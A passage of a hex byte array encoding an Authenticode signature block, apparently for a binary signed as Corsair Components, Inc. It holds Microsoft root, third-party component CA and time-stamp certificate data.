0x63, 0x52, 0x6F, 0x6F, 0x43, 0x65, 0x72, 0x41, 0x75, 0x74, 0x5F, 0x32, + 0x30, 0x31, 0x30, 0x2D, 0x30, 0x36, 0x2D, 0x32, 0x33, 0x2E, 0x63, 0x72, + 0x6C, 0x30, 0x5A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, + 0x01, 0x04, 0x4E, 0x30, 0x4C, 0x30, 0x4A, 0x06, 0x08, 0x2B, 0x06, 0x01, + 0x05, 0x05, 0x07, 0x30, 0x02, 0x86, 0x3E, 0x68, 0x74, 0x74, 0x70, 0x3A, + 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, + 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, 0x6B, 0x69, 0x2F, + 0x63, 0x65, 0x72, 0x74, 0x73, 0x2F, 0x4D, 0x69, 0x63, 0x52, 0x6F, 0x6F, + 0x43, 0x65, 0x72, 0x41, 0x75, 0x74, 0x5F, 0x32, 0x30, 0x31, 0x30, 0x2D, + 0x30, 0x36, 0x2D, 0x32, 0x33, 0x2E, 0x63, 0x72, 0x74, 0x30, 0x0D, 0x06, + 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, + 0x03, 0x82, 0x02, 0x01, 0x00, 0x96, 0xB5, 0xC3, 0x3B, 0x31, 0xF2, 0x7B, + 0x6B, 0xA1, 0x1F, 0x59, 0xDD, 0x74, 0x2C, 0x37, 0x64, 0xB1, 0xBC, 0xA0, + 0x93, 0xF9, 0xF3, 0x33, 0x47, 0xE9, 0xF9, 0x5D, 0xF2, 0x1D, 0x89, 0xF4, + 0x57, 0x9E, 0xE3, 0x3F, 0x10, 0xA3, 0x59, 0x50, 0x18, 0x05, 0x3B, 0x14, + 0x29, 0x41, 0xB6, 0xA7, 0x0E, 0x5B, 0x81, 0xA2, 0xCC, 0xBD, 0x84, 0x42, + 0xC1, 0xC4, 0xBE, 0xD1, 0x84, 0xC2, 0xC4, 0xBD, 0x0C, 0x8C, 0x47, 0xBC, + 0xBD, 0x88, 0x86, 0xFB, 0x5A, 0x08, 0x96, 0xAE, 0x2C, 0x2F, 0xDF, 0xBF, + 0x93, 0x66, 0xA3, 0x2B, 0x20, 0xCA, 0x84, 0x8A, 0x69, 0x45, 0x27, 0x3F, + 0x73, 0x23, 0x32, 0x93, 0x6A, 0x23, 0xE9, 0xFF, 0xFD, 0xD9, 0x18, 0xED, + 0xCE, 0xFF, 0xBD, 0x6B, 0x41, 0x73, 0x8D, 0x57, 0x9C, 0xF8, 0xB4, 0x6D, + 0x49, 0x98, 0x05, 0xE6, 0xA3, 0x35, 0xA9, 0xF0, 0x7E, 0x6E, 0x86, 0xC0, + 0x6B, 0xA8, 0x08, 0x67, 0x25, 0xAF, 0xC0, 0x99, 0x8C, 0xDB, 0xA7, 0x06, + 0x4D, 0x40, 0x93, 0x18, 0x8B, 0xA9, 0x59, 0xE6, 0x99, 0x14, 0xB9, 0x12, + 0x17, 0x81, 0x44, 0xAC, 0x57, 0xC3, 0xAE, 0x8E, 0xAE, 0x94, 0x7B, 0xCB, + 0x3B, 0x8E, 0xDD, 0x7A, 0xB4, 0x71, 0x5B, 0xBA, 0x2B, 0xC3, 0xC7, 0xD0, + 0x85, 0x23, 0x4B, 0x37, 0x12, 0x77, 0xA5, 0x4A, 0x2F, 0x7F, 0x1A, 0xB7, + 0x63, 0xB9, 0x44, 0x59, 0xED, 0x92, 0x30, 0xCC, 0xE4, 0x7C, 0x09, 0x92, + 0x12, 0x11, 0x1F, 0x52, 0xF5, 0x1E, 0x02, 0x91, 0xA4, 0xD7, 0xD7, 0xE5, + 0x8F, 0x80, 0x47, 0xFF, 0x18, 0x9B, 0x7F, 0xD1, 0x9C, 0x06, 0x71, 0xDC, + 0xF3, 0x76, 0x19, 0x77, 0x90, 0xD5, 0x2A, 0x0F, 0xBC, 0x6C, 0x12, 0xC4, + 0xC5, 0x0C, 0x20, 0x66, 0xF5, 0x0E, 0x2F, 0x50, 0x93, 0xD8, 0xCA, 0xFB, + 0x7F, 0xE5, 0x56, 0xED, 0x09, 0xD8, 0xA7, 0x53, 0xB1, 0xC7, 0x2A, 0x69, + 0x78, 0xDC, 0xF0, 0x5F, 0xE7, 0x4B, 0x20, 0xB6, 0xAF, 0x63, 0xB5, 0xE1, + 0xB1, 0x5C, 0x80, 0x4E, 0x9C, 0x7A, 0xA9, 0x1D, 0x4D, 0xF7, 0x28, 0x46, + 0x78, 0x21, 0x06, 0x95, 0x4D, 0x32, 0xDD, 0x60, 0x42, 0xE4, 0xB6, 0x1A, + 0xC4, 0xF2, 0x46, 0x36, 0xDE, 0x35, 0x73, 0x02, 0xC1, 0xB5, 0xE5, 0x5F, + 0xB9, 0x2B, 0x59, 0x45, 0x7A, 0x92, 0x43, 0xD7, 0xC4, 0xE9, 0x63, 0xDD, + 0x36, 0x8F, 0x76, 0xC7, 0x28, 0xCA, 0xA8, 0x44, 0x1B, 0xE8, 0x32, 0x1A, + 0x66, 0xCD, 0xE5, 0x48, 0x5C, 0x4A, 0x0A, 0x60, 0x2B, 0x46, 0x92, 0x06, + 0x60, 0x96, 0x98, 0xDC, 0xD9, 0x33, 0xD7, 0x21, 0x77, 0x7F, 0x88, 0x6D, + 0xAC, 0x47, 0x72, 0xDA, 0xA2, 0x46, 0x6E, 0xAB, 0x64, 0x68, 0x2B, 0xD2, + 0x4E, 0x98, 0xFB, 0x35, 0xCC, 0x7F, 0xEC, 0x3F, 0x13, 0x6D, 0x11, 0xE5, + 0xDB, 0x77, 0xED, 0xC1, 0xC3, 0x7E, 0x1F, 0x6A, 0x4A, 0x14, 0xF8, 0xB4, + 0xA7, 0x21, 0xC6, 0x71, 0x86, 0x67, 0x70, 0xCD, 0xD8, 0x19, 0xA3, 0x5D, + 0x1F, 0xA0, 0x9B, 0x9A, 0x7C, 0xC5, 0x5D, 0x4D, 0x72, 0x8E, 0x74, 0x07, + 0x7F, 0xA7, 0x4D, 0x00, 0xFC, 0xDD, 0x68, 0x24, 0x12, 0x77, 0x2A, 0x55, + 0x75, 0x27, 0xCD, 0xA9, 0x2C, 0x1D, 0x8E, 0x7C, 0x19, 0xEE, 0x69, 0x2C, + 0x9F, 0x74, 0x25, 0x33, 0x82, 0x08, 0xDB, 0x38, 0xCC, 0x7C, 0xC7, 0x4F, + 0x6C, 0x3A, 0x6B, 0xC2, 0x37, 0x11, 0x78, 0x72, 0xFE, 0x55, 0x59, 0x64, + 0x60, 0x33, 0x3E, 0x2E, 0xDF, 0xC4, 0x2D, 0xE7, 0x2C, 0xD7, 0xFB, 0x0A, + 0x82, 0x25, 0x6F, 0xB8, 0xD7, 0x0C, 0x84, 0xA5, 0xE1, 0xC4, 0x74, 0x6E, + 0x2A, 0x95, 0x32, 0x9E, 0xA0, 0xFE, 0xCD, 0xB4, 0x18, 0x8F, 0xD3, 0x3B, + 0xAD, 0x32, 0xB2, 0xB1, 0x9A, 0xB8, 0x6D, 0x05, 0x43, 0xFB, 0xFF, 0x0D, + 0x0F, 0x31, 0x82, 0x16, 0x6B, 0x30, 0x82, 0x16, 0x67, 0x02, 0x01, 0x01, + 0x30, 0x81, 0xA6, 0x30, 0x81, 0x8E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, + 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, + 0x03, 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, + 0x67, 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, + 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, + 0x30, 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, + 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, + 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x38, 0x30, 0x36, 0x06, 0x03, + 0x55, 0x04, 0x03, 0x13, 0x2F, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, + 0x66, 0x74, 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x54, + 0x68, 0x69, 0x72, 0x64, 0x20, 0x50, 0x61, 0x72, 0x74, 0x79, 0x20, 0x43, + 0x6F, 0x6D, 0x70, 0x6F, 0x6E, 0x65, 0x6E, 0x74, 0x20, 0x43, 0x41, 0x20, + 0x32, 0x30, 0x31, 0x34, 0x02, 0x13, 0x33, 0x00, 0x00, 0x00, 0x31, 0x94, + 0x79, 0xA3, 0x18, 0xF5, 0x52, 0x2D, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x31, 0x30, 0x0D, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, + 0x02, 0x01, 0x05, 0x00, 0xA0, 0x81, 0xDC, 0x30, 0x19, 0x06, 0x09, 0x2A, + 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0C, 0x06, 0x0A, + 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x04, 0x30, 0x1C, + 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0B, + 0x31, 0x0E, 0x30, 0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, + 0x37, 0x02, 0x01, 0x15, 0x30, 0x2F, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, + 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x22, 0x04, 0x20, 0xBF, 0x15, 0x65, + 0xBB, 0x8C, 0x54, 0x24, 0xB5, 0x63, 0xD5, 0x97, 0x57, 0x26, 0xD3, 0x35, + 0xA2, 0x17, 0x93, 0xFE, 0xCF, 0x4B, 0x0C, 0x02, 0x1C, 0x36, 0x7C, 0x2E, + 0xE5, 0xA3, 0x79, 0x5A, 0x83, 0x30, 0x70, 0x06, 0x0A, 0x2B, 0x06, 0x01, + 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0C, 0x31, 0x62, 0x30, 0x60, 0xA0, + 0x32, 0x80, 0x30, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x73, 0x00, + 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, 0x43, 0x00, 0x6F, 0x00, + 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6E, 0x00, + 0x74, 0x00, 0x73, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, + 0x63, 0x00, 0x2E, 0xA1, 0x2A, 0x80, 0x28, 0x68, 0x74, 0x74, 0x70, 0x73, + 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, + 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x65, 0x6E, 0x2D, + 0x75, 0x73, 0x2F, 0x77, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x30, + 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, + 0x05, 0x00, 0x04, 0x82, 0x01, 0x00, 0xA9, 0x9C, 0x65, 0x1B, 0x24, 0xBA, + 0x66, 0xD6, 0x64, 0x9F, 0x5D, 0xF4, 0xB0, 0x0B, 0x48, 0x12, 0x21, 0x67, + 0xE5, 0xE8, 0x22, 0x70, 0x62, 0x99, 0xB9, 0xD0, 0x22, 0x63, 0xD6, 0x0C, + 0xC1, 0xA5, 0xF1, 0xCC, 0x3B, 0x42, 0x68, 0xB3, 0x7F, 0x54, 0x50, 0x08, + 0x1D, 0x03, 0x31, 0xCE, 0x70, 0x44, 0xF9, 0x94, 0xA6, 0xCE, 0xAA, 0x7C, + 0xDB, 0x3E, 0x78, 0x01, 0xA4, 0x43, 0xA1, 0x5A, 0xA8, 0x4D, 0x38, 0x0F, + 0xCB, 0xAF, 0x1A, 0x5C, 0x92, 0xB4, 0xDC, 0x4D, 0xF9, 0x1D, 0xE9, 0xAC, + 0x4D, 0x3D, 0xD8, 0x09, 0x68, 0x09, 0x0E, 0xE9, 0x0A, 0x6F, 0x6D, 0xD9, + 0x13, 0xF1, 0xB8, 0x35, 0xEE, 0xAF, 0x43, 0x99, 0x7B, 0xFF, 0x38, 0xB0, + 0x6A, 0xF8, 0x9B, 0xFC, 0x4A, 0x07, 0xD5, 0x62, 0x57, 0xE1, 0x99, 0xF9, + 0x10, 0xAD, 0x99, 0x71, 0x6D, 0xAD, 0x21, 0xB9, 0x41, 0x9F, 0xCC, 0x7D, + 0xB8, 0x08, 0x3E, 0x1C, 0x0E, 0xC2, 0x40, 0x96, 0x9A, 0x02, 0xBC, 0x93, + 0x55, 0x77, 0x52, 0x35, 0xA0, 0x6E, 0xF8, 0x92, 0x83, 0xBB, 0x00, 0x47, + 0x3E, 0xE0, 0x19, 0x79, 0x72, 0x28, 0x76, 0x22, 0xE2, 0x2C, 0xF6, 0x2D, + 0x54, 0x61, 0x8C, 0x72, 0x58, 0x55, 0x7F, 0xF5, 0xAE, 0xB8, 0xC1, 0x33, + 0x8E, 0x2E, 0x81, 0xB8, 0xBA, 0x57, 0x1F, 0x95, 0xED, 0x23, 0xD3, 0xDB, + 0x78, 0x75, 0x22, 0x42, 0x53, 0x81, 0x26, 0x2E, 0xEC, 0x48, 0x43, 0x03, + 0xD6, 0xE8, 0x39, 0xE7, 0xC8, 0x09, 0xF6, 0x54, 0xA2, 0xFC, 0xCE, 0xCB, + 0xE0, 0xC7, 0xF5, 0xE8, 0x38, 0x2D, 0x91, 0x9A, 0x85, 0xE2, 0x3E, 0x4E, + 0xFC, 0xBC, 0xB4, 0xAA, 0xDB, 0xDC, 0x9D, 0x69, 0x34, 0x0E, 0x2D, 0x26, + 0x1B, 0xA3, 0x9B, 0xFD, 0x03, 0xEC, 0x09, 0x7E, 0x21, 0x23, 0x0A, 0x1A, + 0x05, 0xF8, 0x34, 0xC8, 0x8A, 0xE9, 0x78, 0x5D, 0x7D, 0xE3, 0xA1, 0x82, + 0x13, 0xB6, 0x30, 0x82, 0x13, 0xB2, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, + 0x01, 0x82, 0x37, 0x03, 0x03, 0x01, 0x31, 0x82, 0x13, 0xA2, 0x30, 0x82, + 0x13, 0x9E, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, + 0x02, 0xA0, 0x82, 0x13, 0x8F, 0x30, 0x82, 0x13, 0x8B, 0x02, 0x01, 0x03, + 0x31, 0x0F, 0x30, 0x0D, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, + 0x04, 0x02, 0x01, 0x05, 0x00, 0x30, 0x82, 0x01, 0x57, 0x06, 0x0B, 0x2A, + 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x10, 0x01, 0x04, 0xA0, 0x82, + 0x01, 0x46, 0x04, 0x82, 0x01, 0x42, 0x30, 0x82, 0x01, 0x3E, 0x02, 0x01, + 0x01, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x84, 0x59, 0x0A, 0x03, + 0x01, 0x30, 0x31, 0x30, 0x0D, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, + 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0x04, 0x20, 0x22, 0x08, 0x1E, 0xB5, + 0x69, 0x27, 0x90, 0xF2, 0x39, 0x7B, 0x3D, 0xB6, 0x64, 0xC7, 0xB5, 0x00, + 0xAE, 0xFC, 0x84, 0xC8, 0x32, 0x63, 0x6A, 0xA5, 0xAB, 0x74, 0x85, 0x05, + 0xD0, 0x01, 0xF1, 0x23, 0x02, 0x06, 0x5D, 0xAE, 0x20, 0x7E, 0x4C, 0x67, + 0x18, 0x12, 0x32, 0x30, 0x31, 0x39, 0x31, 0x30, 0x32, 0x38, 0x32, 0x33, + 0x34, 0x31, 0x33, 0x31, 0x2E, 0x39, 0x38, 0x5A, 0x30, 0x07, 0x02, 0x01, + 0x01, 0x80, 0x02, 0x01, 0xF4, 0xA0, 0x81, 0xD4, 0xA4, 0x81, 0xD1, 0x30, + 0x81, 0xCE, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, + 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, + 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, + 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, + 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, + 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, + 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, + 0x6F, 0x6E, 0x31, 0x29, 0x30, 0x27, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, + 0x20, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x4F, + 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x20, 0x50, 0x75, + 0x65, 0x72, 0x74, 0x6F, 0x20, 0x52, 0x69, 0x63, 0x6F, 0x31, 0x26, 0x30, + 0x24, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x1D, 0x54, 0x68, 0x61, 0x6C, + 0x65, 0x73, 0x20, 0x54, 0x53, 0x53, 0x20, 0x45, 0x53, 0x4E, 0x3A, 0x33, + 0x31, 0x43, 0x35, 0x2D, 0x33, 0x30, 0x42, 0x41, 0x2D, 0x37, 0x43, 0x39, + 0x31, 0x31, 0x25, 0x30, 0x23, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x1C, + 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x54, 0x69, + 0x6D, 0x65, 0x2D, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x20, 0x53, 0x65, 0x72, + 0x76, 0x69, 0x63, 0x65, 0xA0, 0x82, 0x0F, 0x1F, 0x30, 0x82, 0x04, 0xF5, + 0x30, 0x82, 0x03, 0xDD, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x13, 0x33, + 0x00, 0x00, 0x00, 0xFE, 0x01, 0xF0, 0xB5, 0x1E, 0xFF, 0xE9, 0xF9, 0xAD, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, + 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, 0x30, 0x7C, 0x31, + 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, + 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, + 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, + 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, + 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, + 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, + 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, + 0x26, 0x30, 0x24, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x1D, 0x4D, 0x69, + 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x54, 0x69, 0x6D, 0x65, + 0x2D, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x20, 0x50, 0x43, 0x41, 0x20, 0x32, + 0x30, 0x31, 0x30, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x39, 0x30, 0x39, 0x30, + 0x36, 0x32, 0x30, 0x34, 0x31, 0x30, 0x38, 0x5A, 0x17, 0x0D, 0x32, 0x30, + 0x31, 0x32, 0x30, 0x34, 0x32, 0x30, 0x34, 0x31, 0x30, 0x38, 0x5A, 0x30, + 0x81, 0xCE, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, + 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, + 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, + 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, + 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, + 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, + 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, + 0x6F, 0x6E, 0x31, 0x29, 0x30, 0x27, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, + 0x20, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x4F, + 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x20, 0x50, 0x75, + 0x65, 0x72, 0x74, 0x6F, 0x20, 0x52, 0x69, 0x63, 0x6F, 0x31, 0x26, 0x30, + 0x24, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x1D, 0x54, 0x68, 0x61, 0x6C, + 0x65, 0x73, 0x20, 0x54, 0x53, 0x53, 0x20, 0x45, 0x53, 0x4E, 0x3A, 0x33, + 0x31, 0x43, 0x35, 0x2D, 0x33, 0x30, 0x42, 0x41, 0x2D, 0x37, 0x43, 0x39, + 0x31, 0x31, 0x25, 0x30, 0x23, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x1C, + 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x54, 0x69, + 0x6D, 0x65, 0x2D, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x20, 0x53, 0x65, 0x72, + 0x76, 0x69, 0x63, 0x65, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, + 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, + 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, + 0x00, 0xDA, 0x03, 0xF5, 0x64, 0xD4, 0xCD, 0x2F, 0x7B, 0xBC, 0x99, 0xFC, + 0x97, 0xCC, 0xE4, 0x32, 0x0B, 0xE9, 0x83, 0x5A, 0x81, 0xDE, 0x07, 0x3A, + 0x69, 0x65, 0xE9, 0x29, 0xB7, 0xC8, 0xFD, 0x18, 0xE2, 0x24, 0x69, 0x43, + 0xCB, 0xFE, 0xAB, 0xAB, 0xA2, 0xB6, 0x5F, 0x0E, 0x99, 0x9A, 0x85, 0x4B, + 0xFA, 0x72, 0x7A, 0x39, 0xC3, 0x57, 0xC3, 0x00, 0xAD, 0x74, 0x29, 0x16, + 0x1D, 0xF9, 0x3F, 0xA8, 0x7C, 0x22, 0xE3, 0xBD, 0xC6, 0x10, 0x78, 0x43, + 0xAF, 0x2A, 0x02, 0x95, 0x82, 0xA3, 0x53, 0x8E, 0x43, 0xEC, 0x0B, 0x7C, + 0xA0, 0x8A, 0xF6, 0x90, 0xF0, 0x69, 0xD0, 0x28, 0xAD, 0x72, 0xD5, 0x30, + 0xC5, 0xE3, 0x2D, 0x77, 0x1E, 0x33, 0x60, 0x67, 0x63, 0x13, 0x6C, 0x93, + 0x85, 0xBC, 0x5A, 0x68, 0x20, 0x41, 0x2B, 0xAE, 0x03, 0xAB, 0xDB, 0x1A, + 0xAF, 0xE6, 0xC5, 0x66, 0x93, 0xAA, 0xC6, 0x4A, 0xBD, 0x0E, 0xBA, 0xA3, + 0x16, 0x72, 0xCF, 0xD8, 0x6C, 0x1B, 0xB0, 0x75, 0x42, 0x0D, 0x5A, 0xF0, + 0x59, 0x7F, 0xE5, 0x89, 0x97, 0xA5, 0xBF, 0xB6, 0x48, 0xE0, 0xDE, 0x37, + 0x3B, 0x3D, 0x26, 0xBD, 0xCB, 0x31, 0x08, 0x34, 0xDC, 0xA3, 0xAD, 0x79, + 0x57, 0xA5, 0x8F, 0x16, 0x80, 0x1D, 0x4D, 0x88, 0x9B, 0xB7, 0xFE, 0xDE, + 0x79, 0xFD, 0x1C, 0xA6, 0xED, 0x04, 0xFF, 0x10, 0x15, 0xDD, 0x22, 0x59, + 0x6E, 0xB5, 0xC7, 0x01, 0x79, 0xED, 0x69, 0x90, 0x38, 0x8C, 0xCD, 0xD5, + 0x3E, 0x0C, 0xF0, 0xC4, 0x9D, 0xCC, 0xF3, 0x51, 0xBA, 0xCF, 0x18, 0x9F, + 0x47, 0xE3, 0x6F, 0xCD, 0x3A, 0x2F, 0x66, 0x1A, 0x9D, 0xDB, 0x78, 0x6D, + 0x5F, 0xB7, 0x39, 0x14, 0xCB, 0xC8, 0xDF, 0xB6, 0x93, 0x03, 0xA6, 0x33, + 0xE4, 0xC0, 0xF8, 0xC8, 0x44, 0x71, 0x0A, 0x94, 0x45, 0x86, 0x8E, 0x07, + 0x8A, 0x73, 0x4B, 0x6F, 0xB1, 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x82, + 0x01, 0x1B, 0x30, 0x82, 0x01, 0x17, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, + 0x0E, 0x04, 0x16, 0x04, 0x14, 0xF7, 0xE3, 0x0B, 0x32, 0x20, 0xCC, 0xE5, + 0x64, 0xC4, 0x55, 0xC5, 0xE3, 0x67, 0x08, 0x22, 0x95, 0xBD, 0x94, 0x12, + 0xE4, 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, 0x16, + 0x80, 0x14, 0xD5, 0x63, 0x3A, 0x5C, 0x8A, 0x31, 0x90, 0xF3, 0x43, 0x7B, + 0x7C, 0x46, 0x1B, 0xC5, 0x33, 0x68, 0x5A, 0x85, 0x6D, 0x55, 0x30, 0x56, + 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x4F, 0x30, 0x4D, 0x30, 0x4B, 0xA0, + 0x49, 0xA0, 0x47, 0x86, 0x45, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, + 0x63, 0x72, 0x6C, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, + 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, 0x6B, 0x69, 0x2F, 0x63, 0x72, + 0x6C, 0x2F, 0x70, 0x72, 0x6F, 0x64, 0x75, 0x63, 0x74, 0x73, 0x2F, 0x4D, + 0x69, 0x63, 0x54, 0x69, 0x6D, 0x53, 0x74, 0x61, 0x50, 0x43, 0x41, 0x5F, + 0x32, 0x30, 0x31, 0x30, 0x2D, 0x30, 0x37, 0x2D, 0x30, 0x31, 0x2E, 0x63, + 0x72, 0x6C, 0x30, 0x5A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, + 0x01, 0x01, 0x04, 0x4E, 0x30, 0x4C, 0x30, 0x4A, 0x06, 0x08, 0x2B, 0x06, + 0x01, 0x05, 0x05, 0x07, 0x30, 0x02, 0x86, 0x3E, 0x68, 0x74, 0x74, 0x70, + 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, + 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, 0x6B, 0x69, + 0x2F, 0x63, 0x65, 0x72, 0x74, 0x73, 0x2F, 0x4D, 0x69, 0x63, 0x54, 0x69, + 0x6D, 0x53, 0x74, 0x61, 0x50, 0x43, 0x41, 0x5F, 0x32, 0x30, 0x31, 0x30, + 0x2D, 0x30, 0x37, 0x2D, 0x30, 0x31, 0x2E, 0x63, 0x72, 0x74, 0x30, 0x0C, + 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x02, 0x30, 0x00, + 0x30, 0x13, 0x06, 0x03, 0x55, 0x1D, 0x25, 